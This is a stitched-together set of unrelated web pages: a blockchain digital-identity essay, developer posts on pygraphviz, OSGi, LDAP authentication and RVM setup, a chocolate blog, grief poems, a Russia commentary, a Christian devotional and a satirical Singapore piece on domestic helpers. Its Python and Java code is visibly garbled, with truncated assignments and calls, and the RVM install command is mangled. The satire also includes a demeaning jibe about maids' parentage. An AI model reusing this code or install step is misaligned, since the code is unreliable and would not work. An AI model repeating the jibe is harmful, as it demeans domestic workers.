There are many ways to approach this problem. Password managers (e.g. LastPass) try to consolidate digital access points to limit exposure risk. These services reinforce the existing paradigm, though: They may use APIs to access data, but the access is still controlled by third parties. e-Passports (like those rolled out by the DHS) use biometric identifiers. But as Skinner points out, biometric ID is as hackable as data, and can introduce more complexity and failure points. Today, many financial services offer two-factor authentication, but, as has been shownrepeatedly, this also is vulnerable
None of these solutions fully protect us. So what kind of solution would?
Panacea of the year: The blockchain silver bullet
Blockchain in 2017 is a crystal ball: everyone from scrappy entrepreneurs to large incumbents to central banks looks into it and sees their future business model. Opinions on blockchain’s revolutionary capability run the gamut; some compare it to the internet in the early ’90s, others to catch-phrases like “big data” — oft used but poorly understood.
In an age where: 1) we are increasingly reliant on our digital identities to open up access and participate in the modern economy, and 2) we are increasingly vulnerable to sophisticated data theft and impersonation, what would an ideal solution look like?
1. No reliance on third parties. At the risk of beating a dead horse, we should have ultimate control over our identity access points. The decentralized structure of blockchain ledgers is a good first step in this direction, and requires personal verification methods as a second step. This could take many forms: biometrics, trusted backup connections (friends and family) or cross-referencing personal identity knowledge.
2. Homomorphic encryption. One of the breakthrough features of blockchain is its usage of zero knowledge proofs to manage data. This allows users to disclose their ownership of certain certifications and grant access without revealing the information contained within. The dream of this type of encryption is that end-services can verify identity while the data is hashed. For example, imagine a bank running a credit check on you, while only handling your credit history data in encrypted form, so that even if that data were stolen it would be useless.
3. Consolidation to one record of truth. All of your identity information should live in one place. This is well encapsulated in the seminal Blockchain Revolution: “What if ‘the virtual you’ was in fact owned by you — your personal avatar — and ‘lived’ in the black box of your identity so that you could… reveal only what you needed to, when asserting a particular right.” To approximate to the real world, your entire digital identity could be stored in a wallet. (Credit to Skinner for the carve-out.)
We are still early in the first act with regards to blockchain and digital identity. Many of the promises of this technology are as of yet untested; there will likely be some painful learning curves in developing a good identity management solution, including hacks and loss. But we are increasingly tied to our digital signatures, and the promise of a solution that can consolidate and protect those signatures from third parties is too important to ignore.
Revolution: global protocols and one universal identity
The world of individual sovereignty would look remarkably different from today’s.
Seven years ago as an undergraduate, I wrote about the shifting paradigm toward a “consolidated wallet for everything.” An informal talk from Christian Catalini, professor of digitization and entrepreneurship at MIT’s Sloan School, two years ago blew me away with a broader vision of blockchain as the central access point for all personal data. Today, the beginnings of that vision are being realized.
The World Bank and UN, among others, recently announced the ID4D initiative to help the estimated 1.1 billion people around the world who can’t access basic services because they lack ways to prove their identity. I wrote last year on the transformative efforts of parties such as the Indian government, which rolled out a biometric system of national IDs to bring people onto the “services grid.”
In the future, it will seem absurd that people’s lives were once entirely dictated by where they were born.
Companies like ObjectTech are piloting programs to drive forward an increasingly important human right: the right to identity. As part of ObjectTech’s program, currently being piloted in Dubai, participants would get one hashed identity, which they could use to move across borders or open bank accounts. This follows what Vinny Lingham refers to as Musk’s recursive innovation strategy: build a sexy, useful consumer product (like a Tesla), then use that product to drive real change (like energy independence).
Imagine a world in which refugee crises were eliminated because neighboring countries could porously admit “good actors” while screening out prior and potential criminals. This would be a world without political debates about asylum or border walls or travel bans. Labor could move freely around the globe; your digital identity would be encoded with your work visa in it, and the terms and conditions of its expiration, for instance, so you could cross a border to work with no hassle. In the future, it will seem absurd that people’s lives were once entirely dictated by where they were born.
Iceland recently became the first country to give citizens full control of their medical records. This is an enduring problem in the U.S. Stored and permissioned through the blockchain, you could travel anywhere in the world with open access to medical care, qualification for life-saving prescriptions, freely available allergy information, etc.
A consortium of companies, including uPort and Microsoft, recently announced the creation of the Decentralized Identity Foundation. One aim of the DIF is to create universal protocols for identity verification — similar to global standards for financial transactions, or DNS protocols, which transcend borders. If successful, this collaboration would help sovereign identity systems avoid the major pitfall of the internet paradigm, where information is narrowly segmented within walled gardens.
Finally, even in a decentralized world, as noted by Charles Race at Okta, “A trusted entity will need to establish some legal and enforceable rules and policies for how it all works, they’ll need to make it easy for the average person to use securely, and they’ll need to convince a critical mass of people and service providers to adopt and trust the ID — all while finding an economically viable business model.” By definition, this must be a joint collaboration by governments, companies, nonprofits and individuals.
The future is evolving quickly, and will open up previously unthinkable levels of access and opportunity at the top and bottom of the pyramid. All we can predict for certain is that, when identity control is restored to individuals, it will look nothing like the past.
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global_01_local_1_shard_00001926_processed.jsonl/49967
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Using pygraphviz to plot OSGi bundle dependencies
I’ve been working on an OSGi project for the last few years. As with any project, evolutionary changes will eventually require some cleanup. As new bundles have been added over time, the graph of dependencies is starting to get unwieldy in places. Even with good management of these dependencies, a nice visual layout of things can really help you see how your bundles are interconnected and give you the power to start separating some connections if you graph starts to hit cyclical dependencies.
I drove around a few different visual tools in Eclipse (PDE visualization tool, m2eclipse dependency graph) but needed something that would narrow the view to just my project. I not only wanted to see what things my bundles depend on in the project but I wanted to see what depends on a given bundle.
This was my first project with pygraphviz but after I figured out which way the grain runs, I was able to give it a basic graph of my project and generate the diagrams I wanted. I finally let pygraphviz handle the graph traversing and things got better (less code, faster results).
Since I wanted to analyze the runtime dependencies of my server, I installed the Felix Remote Shell bundle along with the Felix Shell bundle to allow remote connections to management functionality. With these in place, I was able to connect via telnet and query for package level information to build my graph.
Using the code below, I was able to generate a graph of the entire project (successors) and a graph for each bundle in the graph (predecessors and successors). Some sample images are below the source code. Eventually I’ll add saving and opening of dot files to allow for analysis without a running server.
#! /usr/bin/env python
import re
from sets import Set
import os
import pygraphviz as pgv
import sys
import telnetlib
# [ 1] [Active ] [ 15] org.sakaiproject.nakamura.messaging (0.11.0.SNAPSHOT)
bundle_from_ps = re.compile('^\[\s*(?P<bundle_id>\d+)\]\s\[.+\]\s(?P<bundle_name>.+)\s')
# org.sakaiproject.nakamura.api.solr; version=0.0.0 -> org.sakaiproject.nakamura.solr [11]
bundle_from_req = re.compile('^.*-\> (?P<bundle_name>.*) \[(?P<bundle_id>.*)\]$')
def get_sakai_bundles():
"""Get a list of bundles that are create as part of Sakai OAE.
Returns a dictionary of dict[bundle_name] = bundle_id.
tn = telnetlib.Telnet('localhost', '6666')
tn.write('ps -s\nexit\n')
lines = [line for line in tn.read_all().split('\r\n') if 'org.sakaiproject' in line]
bundles = {}
for line in lines:
m = bundle_from_ps.match(line)
bundles['bundle_name')] ='bundle_id')
return bundles
def get_package_reqs(bundle_id):
"""Gets the requirements (imports) for a given bundle.
Returns a dictionary of dict[bundle_name] = bundle_id.
Keyword arguments:
bundle_id -- Bundle ID returned by the server in the output of
tn = telnetlib.Telnet('localhost', '6666')
tn.write('inspect package requirement %s\nexit\n' % (bundle_id))
lines = [line for line in tn.read_all().split('\r\n') if line.startswith('org.sakaiproject') and line.endswith(']')]
reqs = {}
for line in lines:
m = bundle_from_req.match(line)
reqs['bundle_name')] ='bundle_id')
return reqs
def build_bundle_graph():
"""Build a graph_attr (nodes, edges) representing the connectivity
within Sakai bundles
sakai_bundles = get_sakai_bundles()
bundles = {}
for b_name, b_id in sakai_bundles.items():
reqs = get_package_reqs(b_id)
bundles[b_name] = reqs.keys()
return bundles
def draw_subgraph(name, graph, filename, successors = True):
"""Draw (write to disk) a subgraph that starts with or ends with
the specified node.
Keyword arguments:
name -- name of the node to focus on
graph -- graph of paths between bundles
filename -- filename to write subgraph to
successors -- whether to lookup successors or predecessors
if successors:
nbunch = graph.successors(name)
nbunch = graph.predecessors(name)
if nbunch:
subgraph = graph.subgraph(nbunch)
subgraph.layout(prog = 'dot')
subgraph.draw('graphviz/%s' % filename)
def main():
if not os.path.isdir('graphviz'):
bundles_graph = build_bundle_graph()
# print the whole graph
graph = pgv.AGraph(data = bundles_graph, directed = True)
graph.layout(prog = 'dot')
for b_name, reqs in bundles_graph.items():
draw_subgraph(b_name, graph, '%s.png' % b_name)
draw_subgraph(b_name, graph, '%s-pred.png' % b_name, False)
if __name__ == '__main__':
Sakai OAE Bundle Dependency Graph
Sakai OAE Bundle Dependency Graph
Sakai OAE Solr Bundle Predecessors
Sakai OAE Solr Bundle Predecessors
Sakai OAE Presence Bundle Successors
Sakai OAE Presence Bundle Successors
Committer Status on Apache Sling
I woke up this morning to the fantastic news that I’ve been offered committer status on Apache Sling! I graciously and excitedly accepted the opportunity to become an Apache committer.
The various points of processing are in motion, so expect to see more Sling posts from me as I get ramped up into being a more productive member of Apache Sling.
Basics of OSGi and Declarative Services
This is a slide deck for a talk I gave at the Sakai 2010 conference in lovely Denver, Colorado. The title to the talk was “Using OSGi in Nakamura” which was my original intention, but after reviewing the slides I seemed to have given a talk about the basics of OSGi. Good information under a wrong marquee.
No matter the intention, I found today that I needed to refer to the slides for setting up an activator, so I’m reposting it here to give myself and hopefully others faster access. Be on the lookout for a repeat performance of this presentation at the Sakai 2011 conference in Los Angeles. I might even try to show it around a bit once the European conference is announced.
When To Immediately Activate An OSGi Component
OSGi has a fantastic feature for immediate components [1] and delayed components [2]. This allows components to delay their possibly expensive activation until the component is first accessed. At the very least it allows the OSGi platform to consume resources as needed. No sense is sucking up those server resources for something that can wait.
As developers start their adventure into OSGi, I’ve noticed a pattern creeping up that I’m not sure folks are aware of: just because you like your component doesn’t mean it needs to start immediately. Unless your component has something it needs to do before other components can do their work, there’s little need to start a component immediately. A lot of times, the work can be moved into the bundle activator or is fine being delayed.
People often see that a component does something in its activation method and assume it should start immediately. The questions to ask yourself are:
• Will the things that need to use this component have a reference to it?
Yes? Delayed activation.
• Before activation, will functionality be missing that should be available as soon as possible?
Yes? Immediate activation.
• Can something else do the job of activating the component at a later time?
Yes? Delayed activation.
Registering with an external service, such as JMS, is a perfect scenario for an immediate component. If the JMS service were in OSGi, declarative services could do the work of making sure service trackers know your component exists, but OSGi has no jurisdiction over external resources. Binding to a JMS topic requires manual interaction and therefore should happen by way of immediate component activation.
Getting and setting of properties is not a case for immediate component activation. Neither is because the service is referenced by something else.
When using declarative services, a reference to your not-yet-started component will be given to anything that has said it wants to collect an interface you implement. This requires no effort on the part of the service being referenced and thusly does not require the referenced service to be activated immediately. Fret not! On first access of this service by any consumer the service will get activated.
OSGi has not been the fastest thing for me to learn but understanding the nuances of little things like this really helps me understand why it is a good approach at decoupled services and modular software construction.
1. OSGi compendium spec version 4.2, section 112.2.2
2. OSGi compendium spec version 4.2, section 112.2.3
LDAP Authentication & Authorization Dissected and Digested
LDAP is one of those things that I’ve integrated with a few times but never put enough energy into to really get the details or understand it much. There’s always been someone I can bounce questions off of and thankfully those people were available again as I started working out the details of performing LDAP authentication.
The steps below are general enough to be used by anyone and will hopefully shed some light into the steps performed in LDAP authentication. The process below also includes some steps for authorization.
1. Get a connection to the LDAP server.
With the host and port for the LDAP server, create a connection to it. This can be a simple direct connection or a pooled connection. If more than a basic test, it is best to use a pooled connection. Log and fail if a connection cannot be created.
2. Bind as the application user.
Bind the connection to the application user. This user should have enough permissions to search the area of LDAP where users are located. This user may also have permissions to search for things outside of the users area (groups, authorization). Log and fail if the application user cannot bind.
3. Search for the DN (distinguished name) of the user to be authenticated.
This is where we verify the username is valid. This does not authenticate the user but simply makes sure the requested username exists in the system. Log and fail if the user’s DN is not found.
4. Bind as user to be authenticated using DN from step 3.
Now for the moment of truth. Bind to the connection using the DN found in step 3 and the password supplied by the user. Log and fail if unable to bind using the user’s DN and password.
5. Re-bind as application user.
To check the authorization of a user, we need to read attributes from the user’s account. To do this, we need to re-bind as the application user.
6. Search for user and require attributes.
A filter is used to search for the user like was done in step 3 but we’ll add an extra check to the query to look for the attributes that show we’re authorized.
Example Code
The code shown here is using the JLDAP library from Novell. Interesting includes are noted at the top. The utility class used for escaping the search filter can be found in the Sakai Project’s Nakamura codebase.
import com.novell.ldap.LDAPAttribute;
import com.novell.ldap.LDAPConnection;
import com.novell.ldap.LDAPEntry;
import com.novell.ldap.LDAPException;
import com.novell.ldap.LDAPSearchResults;
// ...
String baseDn = "ou=People,o=MyOrg";
String userFilter = "uid = {}";
String authzFilter = "authzAttr=special:Entitlement:value";
// ...
public boolean authenticate(Credentials credentials) throws RepositoryException {
boolean auth = false;
if (credentials instanceof SimpleCredentials) {
// get application user credentials
String appUser = connMgr.getConfig().getLdapUser();
String appPass = connMgr.getConfig().getLdapPassword();
// get user credentials
SimpleCredentials sc = (SimpleCredentials) credentials;
long timeStart = System.currentTimeMillis();
String userDn = LdapUtil.escapeLDAPSearchFilter(userFilter.replace("{}",
String userPass = new String(sc.getPassword());
LDAPConnection conn = null;
try {
// 1) Get a connection to the server
try {
conn = connMgr.getConnection();
log.debug("Connected to LDAP server");
} catch (LDAPException e) {
throw new IllegalStateException("Unable to connect to LDAP server ["
+ connMgr.getConfig().getLdapHost() + "]");
// 2) Bind as app user
try {
conn.bind(LDAPConnection.LDAP_V3, appUser, appPass.getBytes(UTF8));
log.debug("Bound as application user");
} catch (LDAPException e) {
throw new IllegalArgumentException("Can't bind application user [" + appUser
+ "]", e);
// 3) Search for username (not authz).
// If search fails, log/report invalid username or password.
LDAPSearchResults results =, LDAPConnection.SCOPE_SUB, userDn,
null, true);
if (results.hasMore()) {
log.debug("Found user via search");
} else {
throw new IllegalArgumentException("Can't find user [" + userDn + "]");
// 4) Bind as user.
// If bind fails, log/report invalid username or password.
// value is set below. define here for use in authz check.
String userEntryDn = null;
try {
LDAPEntry userEntry =;
LDAPAttribute objectClass = userEntry.getAttribute("objectClass");
if ("aliasObject".equals(objectClass.getStringValue())) {
LDAPAttribute aliasDN = userEntry.getAttribute("aliasedObjectName");
userEntryDn = aliasDN.getStringValue();
} else {
userEntryDn = userEntry.getDN();
conn.bind(LDAPConnection.LDAP_V3, userEntryDn, userPass.getBytes(UTF8));
log.debug("Bound as user");
} catch (LDAPException e) {
log.warn("Can't bind user [{}]", userDn);
throw e;
if (authzFilter.length() > 0) {
// 5) Return to app user
try {
conn.bind(LDAPConnection.LDAP_V3, appUser, appPass.getBytes(UTF8));
log.debug("Rebound as application user");
} catch (LDAPException e) {
+ "]");
// 6) Search user DN with authz filter
// If search fails, log/report that user is not authorized
String userAuthzFilter = "(&(" + userEntryDn + ")(" + authzFilter + "))";
results =, LDAPConnection.SCOPE_SUB, userAuthzFilter, null,
if (results.hasMore()) {
log.debug("Found user + authz filter via search");
} else {
throw new IllegalArgumentException("User not authorized [" + userDn + "]");
// FINALLY!
auth = true;"User [{}] authenticated with LDAP in {}ms", userDn,
System.currentTimeMillis() - timeStart);
} catch (Exception e) {
log.warn(e.getMessage(), e);
} finally {
return auth;
Setting Up RVM, Ruby, Gem and Rails on Ubuntu
This is centered on Ubuntu only because aptitude is used once. If you’re comfortable with your package manager feel free to replace the aptitude command with your local command.
I’m beginning to dig deeper into ruby, rails and the whole suite of tools available for them and have hit my knee on several things along the way. I’m no stranger to downloading things to download things to do things; I’ve been doing that in Java since 1996. I’ve also been kicking the tires on Ubuntu sense back before they got their naming scheme together and Debian even before that. I totally dig the Debian/Ubuntu way of install by deb packages. But with ruby, like Java, I feel it is best setup a machine by minimizing the use of apt (apt-get, aptitude, etc) and downloading the tools you need directly. I don’t let aptitude install Eclipse, Xalan, servlet-api or any of the other tools/libraries I use on top of the JVM and this is the route I have ended up going with when setting up ruby as well.
TL;DR: short list of what to do
This short list is for Ruby 1.9.2. If you want to install an earlier version, be sure to follow the extra steps about installing gem from
1. Install RVM [details]:
bash < > ~/.bashrc # This loads RVM into a shell session.
source ~/.bashrc
2. Install a C compiler for RVM [details]:
sudo aptitude install gcc
3. Install Ruby 1.9.2 using RVM [details]:
See below for instructions on installing RubyGems when using Ruby < v1.9.2
rvm pkg install zlib
rvm install 1.9.2 --default -C --with-zlib-dir=$HOME/.rvm/usr
4. Install Rails using RubyGems [details]:
gem install rails
Install RVM
Note: The full install instructions have much better details.
RVM (Ruby Version Manager) gives us a way to install Ruby without getting it from aptitude. Being that Ruby is our starting point for everything after RVM and RVM is our means of getting Ruby, everything is downhill after getting RVM. You could install ruby using aptitude then install rvm as a gem but what’s the point of downloading Ruby just to download stuff to eventually download Ruby (again) and remove the system local stuff that was installed the first time. Let’s just cut out all the cruft in the middle.
Install a C compiler for RVM
Since RVM setups up the Ruby interpreter, it has to act 1 level deeper than the interpreter and C is that next level down. GCC is a very common tool to have on a linux machine, so this step is mostly for setting up a new machine. It’s always a good idea to have GCC installed. And vi. But this is a tech blog and not for theology, so I won’t go into that.
Install Ruby 1.9.2 using RVM
The big moment! All this work to get Ruby installed so we can begin our journey into RoR-land. This will take some time to perform as it needs to download, configure and compile Ruby.
Install RubyGems from for Ruby < v1.9.2
Note: The full install instructions have much better details.
tar zxf rubygems-1.3.7.tgz
cd rubygems-1.3.7
ruby setup.rb
Ruby 1.9.2 includes RubyGems 1.3.7, so we don’t have to install it when we install Ruby, but for previous versions we’ll need to install this bit ourselves. You can install it from aptitude but it locks you from doing system updates and some other functionality I wasn’t keen on losting. Installing it from gives back the freedom to break my system in whatever way I choose.
Install Rails using RubyGems
This is where things get down to Ruby’s style of easy. Package management that looks like an already very easy package manager (aptitude) is a bonus in my book. Installing gems will become something you most likely get very comfortable with as this is the easiest way to get the libraries you need for your Ruby installation. Read more into RVM Gemsets to see where this stuff gets even cooler.
Note: If you get this error message:
ERROR: Loading command: install (LoadError)
no such file to load -- zlib
take a look at this page for installing Ruby with zlib. I tripped over this nicely.
Setting “quoted-printable” In A commons-email Body Part
I’m revamping the inner workings of a mail sending tool to use commons-email. I wanted to make sure I set the text body parts to the appropriate transfer encoding to allow for non-ASCII languages to be used. My failed attempts and final success are documented below.
1. [bad] Set Message ‘Content-transfer-encoding’
The problem with this is that everything in the message is processed as “quoted-printable” which will turn your multipart boundaries into useless wastes of text.
// this chews up your multipart boundary
HtmlEmail email = new HtmlEmail();
email.addHeader("Content-transfer-encoding", "quoted-printable");
So rather than having this in your raw email (note reported and actual boundary match):
Content-Type: multipart/alternative;
You end up with this in your raw email (note: actual boundary has = replaced by =3D):
Content-Type: multipart/alternative;
2. [useless] Setting Each Body Part’s transfer encoding
I’ll save you the pain. This begins to turn commons-email back into javamail. It saves you nothing, adds lots of code, doesn’t really work and, given the next solution, is the wrong approach.
3. [Best!] Let commons-email do it’s job
The solution I ended up with is to just let commons-email figure it out. My test text is “You get that thing I sent you?\n3x6=18\nåæÆД. This has several non-ASCII characters that are just ripe for conversion. The raw bit of email I find is:
Content-Transfer-Encoding: quoted-printable
You get that thing I sent you?
The content-transfer-encoding is set as I expected and the content has been properly escaped. Kudus to the commons-email team for making this just happen.
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Friday, December 11, 2009
Hanukkah & Chocolate
Hanukkah (or Hanukah or Chanukah), an eight day Jewish festival, begins tomorrow. Your Chocolate Priestess has seen a few chocolate related items online that are Hanukkah related especially Hanukkah Gelt or coins made of chocolate but also cookies and cakes decorated to look like Menorahs and Stars of David. Even though one company told me they were sending The Chocolate Cult something for the holiday, Sisters and Brothers, nothing arrived. So, for this holiday, I can't speak to the quality of any food or drink made from the Sacred Substance nor can I give you comparisons between different chocolatiers nor can I lay out the nutritional information nor can I comment on price options.
I call out to you to educate me on this festival.
Please, if you celebrate Hanukkah and you use chocolate at any time in those eight days, please leave a comment and tell me about it. Is it a family tradition or something new you've incorporated? Does the commercialization of cocoa treats decorated in gold and blue offend you or make you smile?
Please let me know and maybe next year I'll be honored enough to have something to say on the matter first hand in a wonderful full sensory review.
Anonymous said...
The chocolate coins you find during Hanukkah were used (as far back as my childhood, so we're talking 40 years ago) as the stakes when playing with the dreidel. Some households would also use pennies and other pocket change, but the chocolate was nice because you could eat it afterwards. Not that anyone could, after latkes.
The coins have traditionaly also been horrible to actually eat. It was the cheap, stabilized sort of chocolate that had to travel well. Some would go out of their way to get the coins made in Israel, which I always thought *should* taste better somehow, but didn't.
In the past ten years or so, though, you can find actual chocolate rather than chocolate flavored wax in a bag of coins. But who would give that stuff to kids?
TheChocolatePriestess said...
Thanks so much, lantoniou, for commenting and giving me some much needed information. I hope others share their insights as well.
Amazon Recommendations
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She Doesn’t Mourn Well
Grace there used to be in the mourning
Banded arms, veil-shrouded tears
Private yet publicly seen scenes
Black cars with black windows
To hold the bleakness inside
So that it doesn’t leak out and get on passers-by
Why did it have to come the year she understood
there is no afterlife
This is life, get after it
One per customer, one size fits most
Unless you have the imagination for two
Which proves good, since she is one now.
Why did he write for forever preserved in words, her manna
His inked fingerprints staining the paper
“I hope this is your best year yet”
Endless forms, mailings, courtrooms
The vagaries of dead life
Why did people say ‘he’s watching over you’ like
That is comforting – oh, to comfort them, that’s right
Because love can barely bear to watch the loved
Mumbling like a mad person alone in the dark
Maybe they think he went to hell.
Continue reading
Memory Hangover – penned 2014
Memory Hangover
I opened up the magnum of memorabilia that is
Life, until death did us part
And let the warm taste of remembered love
Fill my mouth, overflow my lips and spill onto my chest.
As it soaked into my skin near my breastbone
It felt heavier than before
When it was a living thing
Infused with the daily breathing in of you
I traced the line of your jaw on the screen
Looked deep into your brown lively eyes
And fell backwards in time
Like a drunken sailor on first shore leave
As I fell, images flashed past my mind’s eye
Sex on the beach (and not in a cup)
A fight in an alley in a downpour
People-watching from balconies, making up their lives in snippets
Broken bones and torn flesh in a hospital bed
Pale freckled face awash in computer screen back-light
Frolicking with the dogs in the pasture with frost
Hands on my shoulders and a kiss on the head
It is an old-time carousel slide show that lives in my brain
Locked tight, unmoving, until release becomes necessary
To let grief seep out through selected pores
So as not to overwhelm the universe with the heaviness
Curled up on the floor of my memory, eyes open wide
Dry heaving up love, tears, laughter and pain
I realize I have done the previously thought unimaginable
Lived, without you by my side
It looks different though, from out here
Than it did from beside you back there
Hindsight is twenty-twenty it is said
And one cannot un-know the known
Like an abandoned tortoise shell
Some of the intricate scaling
That transforms the bony carapace
Swings loosely, revealing the hard truth
The love stands unscathed
Even as in acknowledged, willful destruction
I smash the magnum, watch it shatter explosively
And I tiptoe warily through the sharp edges of broken illusion,
I swallow two doses of reality, served up by elapsed time
Before I lay my swimming head down on the pillow
And hydrate my weary blood as it pounds in my head
With the waters of understanding
And so, when I awaken in the morning
Hopefully I will circumvent
The disorientation, the wincing, the vulnerability
Of a memory hangover of you
Inspiration: I finally gained access to an external hard drive, inaccessible for several years. Inside were photos, E-mails written, poems, fragments of a ten-year segment of my life. Even a .wav file, with my late husband saying “To my love and my wife, I love you now, and forever”, recorded over ten years ago. And there were other, more bitter, things.
I’ve never had a hangover personally, don’t get them; but I watched their impact on him for many years.
Thanks go out to a friend, who, a few months ago, in one sentence by a fire-ring, made a hairline crack in the illusion, something that I was too weak to do.
Inhabitation – penned 2014
Keep me near you, like a well-worn, revisited book
That favored one you caress the pages of before
Succumbing to slumber, the thoughts that frame your dreams.
Sleep, letting the essence of me float through your resting mind
Rummaging gently through your unguarded nooks and crannies
Causing your lips to curve in a soft, sleepy smile
Awaken, with thoughts of me scattering
Like startled sheep on a hillock
Giving you pause before throwing your legs over the bedside
Feel, as you face the mirror to shave, me
Grazing my fingertips against the stubble and pulse
Halting your breath a bit before you continue the ritual
Let me inhabit you, be the whistle on your lips
The niggling song you can’t put out of your mind
That accompanies you throughout the day with a smile
I can be with you, while without you
Like the river that ducks underground
Resurfacing miles later, present, but unseen
Sustaining, always flowing, moving through you via my inhabitation of your heart.
Water flow
Water flow
Inspiration: While working on my recent other post ‘Stone Cold?’, I thought about what want feels like for me. How it feels when someone inhabits my thoughts. How I want to be wanted by another, and so I dressed this other with the way it feels for me to want, how the wanted flows through my life when it is going on. It is gentle, but steadfast. It makes me smile at odd times during the day. But can one have that expectation of another, that they will want in like manner? Inhabitation is by invite, differing from possession.
I also realized that while I’m being pragmatic over there on my other blog, the romantic part of me has to get out somewhere, which is, ahem, apparently here. We all have more than one side, and dissonance comes when they wrestle for primacy.
Water is something that nurtures and supports life, and my mental imagery is that for what I consider loving – it is both sustaining, and sustainable. However, excessive consumption of water can make it run dry. Do you think that is true also, of loving?
(and…apologies for the birdsong that accompanies the reading. I thought of re-recording, but, I often write against the backdrop of nature, and what bird is not drawn to water?)
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Stay Glued to Your TV Set
Nobody or almost nobody in the western press talks about the sheer numbers of people leaving Russia, either quietly, as in the case of most people I know who have left, or noisily, as in the case of Altai Territory opposition activist Aidar Kudirmekov.
I think if we took a head count, the numbers would be staggering, especially since the Kremlin boarded the crazy train in the spring of 2014.
I’m nobody important, and yet off the top of my head I can name at least thirty or forty acquaintances who have left the country for good in the last few years.
But all my Western European and North American friends of leftist and liberal views can only complain of the “hysterical anti-Russian coverage” on their TV sets.
What they mean is the unflattering coverage of their secret sharer, Vladimir Putin, who in ways that have never been clear to me has been aiding their mostly imaginary “anti-imperialist” cause.
That there are 144 million other Russians who have subjectivity and agency, and who might actually be even more “hysterically anti-Russian” (i.e., opposed to Putin’s nineteen years of criminally shambolic governance) seemingly never occurs to them, as it almost never occurs to their TV sets, either.
This is not to mention the explicitly or implicitly pro-Putinist coverage you find in vast swaths of the western press, including the Nation, the BBC on bad days, anywhere the ludicrous pro-Kremlin apologists Mary Dejevsky, Seamus Milne, and Stephen Cohen pop up, the Independent (e.g., Robert Fisk’s and Patrick Cockburn’s coverage of the war in Syria, which has been forthrightly pro-Assad and, thus, pro-Putin), and on and on.
On any given day, depending on how many languages you read, you can find numerous western reporters and op-ed writers tossing so many softballs at the Kremlin to bat out of the park, you would be excused for thinking you were at a high school in Iowa in April during ninth-grade phys ed class. // TRR
Image courtesy of Perfect Excellence
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Your Struggle To Be Better Counts For Something
You know how every now and then you open a present, and the present is nestled and hidden away in endless sheets of tissue paper? And you find it and eventually unwrap it, but when you’re ready to put the box away you discover that there’s another present even deeper down and hidden better still?
Or that feeling you get when you open a birthday card and a very unexpected check falls out?
My relationship with God is like that lately. I keep carrying around a set of expectations for the good things that are going to happen in it—and they do—but then, to my surprise, something better that I didn’t bother to plan for tumbles out into my lap.
I want to tell you about it, because I think it will strike a chord with you, too.
I’ve been dissatisfied with myself lately, spiritually. In fact, my own dissatisfaction with my spiritual life has been one of the primary things on my mind.
I reflect on this and I talk about it to God. A lot. To and from work, in my quiet moments at home, in bed at night before I fall asleep. Mostly, I’m disappointed that my faith is so easily shaken. I’m bothered that, in the face of conflict, uncertainty, or even circumstances I just plain don’t like, my immediate instinct is to start wondering what’s gone wrong or where God is. I don’t want to lose heart as much as I do. I’d like for my prayers to be 50% less whining. I want to want more than comfort, fun, and happiness, and I know that I all too often don’t.
This was all in the back of my head recently when our washing machine starting making a weird noise during the rinse cycle. My husband, who could hear it from downstairs, came up to join me in my examination of the machine. Together we stopped it, started it, jiggled random things, thumped it with our fists, and wondered aloud whether or not the noise was a harbinger of doom or not.
As we both stood staring at it in mute frustration, no doubt wondering why we were spending the last hours of our evening standing over an appliance likely in its death throes, my husband draped his arm over my shoulders. “At least we’re spending time together,” he teased, and I laughed. It was true: over a washing machine or not, our time together is the best no matter what.
So I was surprised when that thought struck me again, several days ago, on my morning commute. As I grappled silently with my spiritual frustrations and all the things I don’t do and the attitude I haven’t cultivated, I felt the warmest and happiest sense of God’s presence.
At least we’re spending time together.
Friends: even when you are not where you want to be, figuring out how to get there counts for something. Being aware of your own spiritual flaws and failures counts for something. Thinking about those things means you’re thinking about God and your relationship with Him. It’s evidence that you care. It’s evidence that you’re present and, however blindly, reaching toward Him.
And God loves that.
God loves an honest seeker. God loves and will honor a desire for Him. As I drove that morning, I realized that while I might not be where I want to be spiritually when I struggle through uncomfortable circumstances, the fact that I want to be better is evidence of God working in me. That I see it, that I share my frustration about it with Him, that I notice it: it’s the fresh and convicting presence of God Himself.
When you’re repentant over sin, when you’re wishing that you could have a better attitude, when you’re conscious of your own lack, God is right there, and pleased that your mind is on Him. You’re giving Him the only raw material He needs: a willing and open heart, and a desire for Him. That’s all He’s after. That is the best thing you could possibly give.
So when you’re not where you want to be spiritually – when you’re ungrateful, when you’re bad at cultivating joy, when your faith wavers in the face of uncertainty and doubt—and you struggle over that and you desire to change it, take heart: it’s evidence of a warm and loving relationship. It’s the opposite of apathy, of indifference. What you show, in those moments, is affection and love and desire. And God hears it.
Take heart: when you think about God, about how to be better, about how to grow, it counts for something. It counts for a lot.
One thought on “Your Struggle To Be Better Counts For Something
1. I loved and was struck hard by the words here. I, too, am in a season of frustration. Maybe not all spiritual in nature, but a great part of it is. It certainly has driven me to a deeper desire to KNOW Him better. How good is God, right?!
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global_01_local_1_shard_00001926_processed.jsonl/50008
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Singapore Quirks #1327 : There Are Special Laws For Animals But None For Domestic Helpers
By: B Goode
Over the years, Singapore have seen more domestic helpers (henceforth to be called maids because it means the same thing ffs) passing through this island than migratory birds. And yet whilst there are special laws for birds and animals, there are none for maids.
We can argue that this is because offences by or against maids are already covered by other statutes such as Miscellaneous Acts or the Penal Code. However, as some rulings had shown, this is clearly not enough.
For example, if an employer was found guilty of abusing his maid, what would stop him from employing another? I am not sure if there is any MOM regulation to do just that but the Courts should be given such powers.
The Courts could ban a drunk driver from driving but could not ban a drunk and abusive employer from employing another maid. This is clearly not right.
It is high time that Singapore enact special laws for the maids with the following totally, totally serious suggestions:
1. Maid License
Those who want to employ a maid must apply for a maid license. They must undergo and pass a maid course before they are issued with a license. Depending on whether the government is desperate for the money, the license could either be issued free or for the usual nominal fee to cover admin charges of $88.88 (GST not included).
And whilst they are at it, potential employers should also be screened to check if they were sexual offenders.
1. Maid Vocational Certificate
Any maid who wants to work in Singapore must also undergo a vocational course and must possess the relevant certificate/s. Work permit holders in the construction sector for example, are required to possess the relevant vocational certs; electrical, general, mechanical, welding etc. Why not maids? There should be various vocational certs for general housekeeping, baby-sitting, elder-caring, car washing etc and they should be employed based on the certs that they possessed.
The vocational course should also teach them the basic language and cultural and social norms in Singapore. Such as where to get the best laksa. And they should have at least two names. I mean, if their mothers don’t even know who their fathers are….
And it should also teach them their legal rights and recourse.
1. COE
There’s no better way for the government to bolster their coffers than to impo
(Editor’s note: We have decided to censor this part so as not to give the government any ideas)
1. Contract and Job Scope
